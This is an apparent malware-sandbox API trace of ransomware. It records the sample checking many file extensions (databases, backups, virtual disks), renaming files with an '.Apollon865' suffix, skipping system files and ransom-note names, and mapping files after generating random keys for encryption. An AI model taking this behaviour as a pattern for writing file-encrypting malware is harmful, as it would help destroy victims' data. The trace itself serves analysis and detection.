	[0081.447] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0081.447] lstrlenW (lpString="nv") returned 2
	[0081.447] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0081.447] lstrlenW (lpString="nv2") returned 3
	[0081.447] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0081.447] lstrlenW (lpString="nwdb") returned 4
	[0081.447] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0081.447] lstrlenW (lpString="nyf") returned 3
	[0081.447] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0081.447] lstrlenW (lpString="odb") returned 3
	[0081.447] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.447] lstrlenW (lpString="odb") returned 3
	[0081.447] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.448] lstrlenW (lpString="oqy") returned 3
	[0081.448] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0081.448] lstrlenW (lpString="ora") returned 3
	[0081.448] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0081.448] lstrlenW (lpString="orx") returned 3
	[0081.448] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0081.448] lstrlenW (lpString="owc") returned 3
	[0081.448] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0081.448] lstrlenW (lpString="p96") returned 3
	[0081.448] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0081.448] lstrlenW (lpString="p97") returned 3
	[0081.448] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0081.448] lstrlenW (lpString="pan") returned 3
	[0081.448] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0081.448] lstrlenW (lpString="pdb") returned 3
	[0081.448] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0081.448] lstrlenW (lpString="pdm") returned 3
	[0081.448] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0081.448] lstrlenW (lpString="pnz") returned 3
	[0081.448] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0081.448] lstrlenW (lpString="qry") returned 3
	[0081.448] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0081.448] lstrlenW (lpString="qvd") returned 3
	[0081.448] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0081.448] lstrlenW (lpString="rbf") returned 3
	[0081.448] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0081.448] lstrlenW (lpString="rctd") returned 4
	[0081.448] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0081.448] lstrlenW (lpString="rod") returned 3
	[0081.448] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0081.448] lstrlenW (lpString="rodx") returned 4
	[0081.448] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0081.448] lstrlenW (lpString="rpd") returned 3
	[0081.448] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0081.449] lstrlenW (lpString="rsd") returned 3
	[0081.449] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0081.449] lstrlenW (lpString="sas7bdat") returned 8
	[0081.449] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0081.449] lstrlenW (lpString="sbf") returned 3
	[0081.449] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0081.449] lstrlenW (lpString="scx") returned 3
	[0081.449] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0081.449] lstrlenW (lpString="sdb") returned 3
	[0081.449] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0081.449] lstrlenW (lpString="sdc") returned 3
	[0081.449] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0081.449] lstrlenW (lpString="sdf") returned 3
	[0081.449] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0081.449] lstrlenW (lpString="sis") returned 3
	[0081.449] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0081.449] lstrlenW (lpString="spq") returned 3
	[0081.449] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0081.449] lstrlenW (lpString="te") returned 2
	[0081.449] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0081.449] lstrlenW (lpString="teacher") returned 7
	[0081.449] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0081.449] lstrlenW (lpString="tmd") returned 3
	[0081.449] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0081.449] lstrlenW (lpString="tps") returned 3
	[0081.449] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0081.449] lstrlenW (lpString="trc") returned 3
	[0081.449] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.449] lstrlenW (lpString="trc") returned 3
	[0081.449] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0081.449] lstrlenW (lpString="trm") returned 3
	[0081.449] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0081.449] lstrlenW (lpString="udb") returned 3
	[0081.449] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0081.449] lstrlenW (lpString="udl") returned 3
	[0081.449] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0081.449] lstrlenW (lpString="usr") returned 3
	[0081.450] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0081.450] lstrlenW (lpString="v12") returned 3
	[0081.450] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0081.450] lstrlenW (lpString="vis") returned 3
	[0081.450] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0081.450] lstrlenW (lpString="vpd") returned 3
	[0081.450] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0081.450] lstrlenW (lpString="vvv") returned 3
	[0081.450] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0081.450] lstrlenW (lpString="wdb") returned 3
	[0081.450] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0081.450] lstrlenW (lpString="wmdb") returned 4
	[0081.450] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0081.450] lstrlenW (lpString="wrk") returned 3
	[0081.450] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0081.450] lstrlenW (lpString="xdb") returned 3
	[0081.450] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0081.450] lstrlenW (lpString="xld") returned 3
	[0081.450] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0081.450] lstrlenW (lpString="xmlff") returned 5
	[0081.450] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0081.450] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll.Apollon865") returned 82
	[0081.450] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outlwvw.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outlwvw.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0081.451] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outlwvw.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0081.452] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=11616) returned 1
	[0081.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0081.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0081.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0081.452] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0081.453] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0081.453] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.453] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3060, lpName=0x0) returned 0x15c
	[0081.455] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3060) returned 0x100000
	[0081.456] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0081.456] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0081.457] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0081.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0081.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0081.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0081.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0081.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0081.457] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0081.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0081.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0081.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0081.457] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0081.457] CloseHandle (hObject=0x15c) returned 1
	[0081.457] CloseHandle (hObject=0x9c) returned 1
	[0081.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0081.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0081.457] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0081.458] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a4a9400, ftCreationTime.dwHighDateTime=0x1cac804, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1a4a9400, ftLastWriteTime.dwHighDateTime=0x1cac804, nFileSizeHigh=0x0, nFileSizeLow=0xd160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PPINTL.DLL.trx_dll", cAlternateFileName="PPINTL~1.TRX")) returned 1
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".") returned 1
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="..") returned 1
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="windows") returned -1
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="temp") returned -1
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="pagefile.sys") returned 1
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="boot") returned 1
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="perflogs") returned 1
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0081.458] lstrlenW (lpString="PPINTL.DLL.trx_dll") returned 18
	[0081.458] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll") returned 71
	[0081.458] lstrcpyW (in: lpString1=0x119e670, lpString2="PPINTL.DLL.trx_dll" | out: lpString1="PPINTL.DLL.trx_dll") returned="PPINTL.DLL.trx_dll"
	[0081.458] lstrlenW (lpString="PPINTL.DLL.trx_dll") returned 18
	[0081.458] lstrlenW (lpString="Apollon865") returned 10
	[0081.458] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0081.458] lstrlenW (lpString=".dll") returned 4
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0081.458] lstrlenW (lpString=".lnk") returned 4
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0081.458] lstrlenW (lpString=".ini") returned 4
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0081.458] lstrlenW (lpString=".sys") returned 4
	[0081.458] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0081.458] lstrlenW (lpString="PPINTL.DLL.trx_dll") returned 18
	[0081.459] lstrlenW (lpString="bak") returned 3
	[0081.459] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0081.459] lstrlenW (lpString="ba_") returned 3
	[0081.459] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0081.459] lstrlenW (lpString="dbb") returned 3
	[0081.459] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0081.459] lstrlenW (lpString="vmdk") returned 4
	[0081.459] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0081.459] lstrlenW (lpString="rar") returned 3
	[0081.459] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0081.459] lstrlenW (lpString="zip") returned 3
	[0081.459] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0081.459] lstrlenW (lpString="tgz") returned 3
	[0081.459] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0081.459] lstrlenW (lpString="vbox") returned 4
	[0081.459] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0081.459] lstrlenW (lpString="vdi") returned 3
	[0081.459] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0081.459] lstrlenW (lpString="vhd") returned 3
	[0081.459] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0081.459] lstrlenW (lpString="vhdx") returned 4
	[0081.459] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0081.459] lstrlenW (lpString="avhd") returned 4
	[0081.459] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0081.459] lstrlenW (lpString="db") returned 2
	[0081.459] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0081.459] lstrlenW (lpString="db2") returned 3
	[0081.459] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0081.459] lstrlenW (lpString="db3") returned 3
	[0081.459] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0081.459] lstrlenW (lpString="dbf") returned 3
	[0081.459] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0081.459] lstrlenW (lpString="mdf") returned 3
	[0081.459] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0081.459] lstrlenW (lpString="mdb") returned 3
	[0081.459] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0081.459] lstrlenW (lpString="sql") returned 3
	[0081.459] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0081.459] lstrlenW (lpString="sqlite") returned 6
	[0081.460] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0081.460] lstrlenW (lpString="sqlite3") returned 7
	[0081.460] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0081.460] lstrlenW (lpString="sqlitedb") returned 8
	[0081.460] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0081.460] lstrlenW (lpString="xml") returned 3
	[0081.460] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0081.460] lstrlenW (lpString="$er") returned 3
	[0081.460] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0081.460] lstrlenW (lpString="4dd") returned 3
	[0081.460] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0081.460] lstrlenW (lpString="4dl") returned 3
	[0081.460] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0081.460] lstrlenW (lpString="^^^") returned 3
	[0081.460] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0081.460] lstrlenW (lpString="abs") returned 3
	[0081.460] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0081.460] lstrlenW (lpString="abx") returned 3
	[0081.460] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0081.460] lstrlenW (lpString="accdb") returned 5
	[0081.460] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0081.460] lstrlenW (lpString="accdc") returned 5
	[0081.460] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0081.460] lstrlenW (lpString="accde") returned 5
	[0081.460] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0081.460] lstrlenW (lpString="accdr") returned 5
	[0081.460] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0081.460] lstrlenW (lpString="accdt") returned 5
	[0081.460] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0081.460] lstrlenW (lpString="accdw") returned 5
	[0081.460] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0081.460] lstrlenW (lpString="accft") returned 5
	[0081.460] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0081.460] lstrlenW (lpString="adb") returned 3
	[0081.460] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.460] lstrlenW (lpString="adb") returned 3
	[0081.460] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.460] lstrlenW (lpString="ade") returned 3
	[0081.460] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0081.461] lstrlenW (lpString="adf") returned 3
	[0081.461] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0081.461] lstrlenW (lpString="adn") returned 3
	[0081.461] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0081.461] lstrlenW (lpString="adp") returned 3
	[0081.461] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0081.461] lstrlenW (lpString="alf") returned 3
	[0081.461] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0081.461] lstrlenW (lpString="ask") returned 3
	[0081.461] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0081.461] lstrlenW (lpString="btr") returned 3
	[0081.461] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0081.461] lstrlenW (lpString="cat") returned 3
	[0081.461] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0081.461] lstrlenW (lpString="cdb") returned 3
	[0081.461] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0081.461] lstrlenW (lpString="ckp") returned 3
	[0081.461] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0081.461] lstrlenW (lpString="cma") returned 3
	[0081.461] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0081.461] lstrlenW (lpString="cpd") returned 3
	[0081.461] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0081.461] lstrlenW (lpString="dacpac") returned 6
	[0081.461] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0081.461] lstrlenW (lpString="dad") returned 3
	[0081.461] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0081.461] lstrlenW (lpString="dadiagrams") returned 10
	[0081.461] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0081.461] lstrlenW (lpString="daschema") returned 8
	[0081.461] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0081.461] lstrlenW (lpString="db-journal") returned 10
	[0081.461] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0081.461] lstrlenW (lpString="db-shm") returned 6
	[0081.461] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0081.461] lstrlenW (lpString="db-wal") returned 6
	[0081.461] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0081.461] lstrlenW (lpString="dbc") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0081.462] lstrlenW (lpString="dbs") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0081.462] lstrlenW (lpString="dbt") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0081.462] lstrlenW (lpString="dbv") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0081.462] lstrlenW (lpString="dbx") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0081.462] lstrlenW (lpString="dcb") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0081.462] lstrlenW (lpString="dct") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0081.462] lstrlenW (lpString="dcx") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0081.462] lstrlenW (lpString="ddl") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0081.462] lstrlenW (lpString="dlis") returned 4
	[0081.462] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0081.462] lstrlenW (lpString="dp1") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0081.462] lstrlenW (lpString="dqy") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0081.462] lstrlenW (lpString="dsk") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0081.462] lstrlenW (lpString="dsn") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0081.462] lstrlenW (lpString="dtsx") returned 4
	[0081.462] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0081.462] lstrlenW (lpString="dxl") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0081.462] lstrlenW (lpString="eco") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0081.462] lstrlenW (lpString="ecx") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0081.462] lstrlenW (lpString="edb") returned 3
	[0081.462] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0081.462] lstrlenW (lpString="epim") returned 4
	[0081.462] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0081.463] lstrlenW (lpString="fcd") returned 3
	[0081.463] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0081.463] lstrlenW (lpString="fdb") returned 3
	[0081.463] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0081.463] lstrlenW (lpString="fic") returned 3
	[0081.463] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0081.463] lstrlenW (lpString="flexolibrary") returned 12
	[0081.463] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0081.463] lstrlenW (lpString="fm5") returned 3
	[0081.463] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0081.463] lstrlenW (lpString="fmp") returned 3
	[0081.463] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0081.463] lstrlenW (lpString="fmp12") returned 5
	[0081.463] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0081.463] lstrlenW (lpString="fmpsl") returned 5
	[0081.463] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0081.463] lstrlenW (lpString="fol") returned 3
	[0081.463] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0081.463] lstrlenW (lpString="fp3") returned 3
	[0081.463] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0081.463] lstrlenW (lpString="fp4") returned 3
	[0081.463] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0081.463] lstrlenW (lpString="fp5") returned 3
	[0081.463] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0081.463] lstrlenW (lpString="fp7") returned 3
	[0081.463] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0081.463] lstrlenW (lpString="fpt") returned 3
	[0081.463] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0081.463] lstrlenW (lpString="frm") returned 3
	[0081.463] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0081.463] lstrlenW (lpString="gdb") returned 3
	[0081.463] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.463] lstrlenW (lpString="gdb") returned 3
	[0081.463] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.463] lstrlenW (lpString="grdb") returned 4
	[0081.463] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0081.463] lstrlenW (lpString="gwi") returned 3
	[0081.463] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0081.464] lstrlenW (lpString="hdb") returned 3
	[0081.464] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0081.464] lstrlenW (lpString="his") returned 3
	[0081.464] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0081.464] lstrlenW (lpString="ib") returned 2
	[0081.464] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0081.464] lstrlenW (lpString="idb") returned 3
	[0081.464] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0081.464] lstrlenW (lpString="ihx") returned 3
	[0081.464] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0081.465] lstrlenW (lpString="itdb") returned 4
	[0081.466] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0081.466] lstrlenW (lpString="itw") returned 3
	[0081.467] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0081.467] lstrlenW (lpString="jet") returned 3
	[0081.467] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0081.467] lstrlenW (lpString="jtx") returned 3
	[0081.468] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0081.468] lstrlenW (lpString="kdb") returned 3
	[0081.469] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0081.470] lstrlenW (lpString="kexi") returned 4
	[0081.471] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0081.471] lstrlenW (lpString="kexic") returned 5
	[0081.471] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0081.471] lstrlenW (lpString="kexis") returned 5
	[0081.471] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0081.471] lstrlenW (lpString="lgc") returned 3
	[0081.471] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0081.471] lstrlenW (lpString="lwx") returned 3
	[0081.471] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0081.471] lstrlenW (lpString="maf") returned 3
	[0081.471] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0081.471] lstrlenW (lpString="maq") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0081.472] lstrlenW (lpString="mar") returned 3
	[0081.472] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0081.472] lstrlenW (lpString="marshal") returned 7
	[0081.472] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
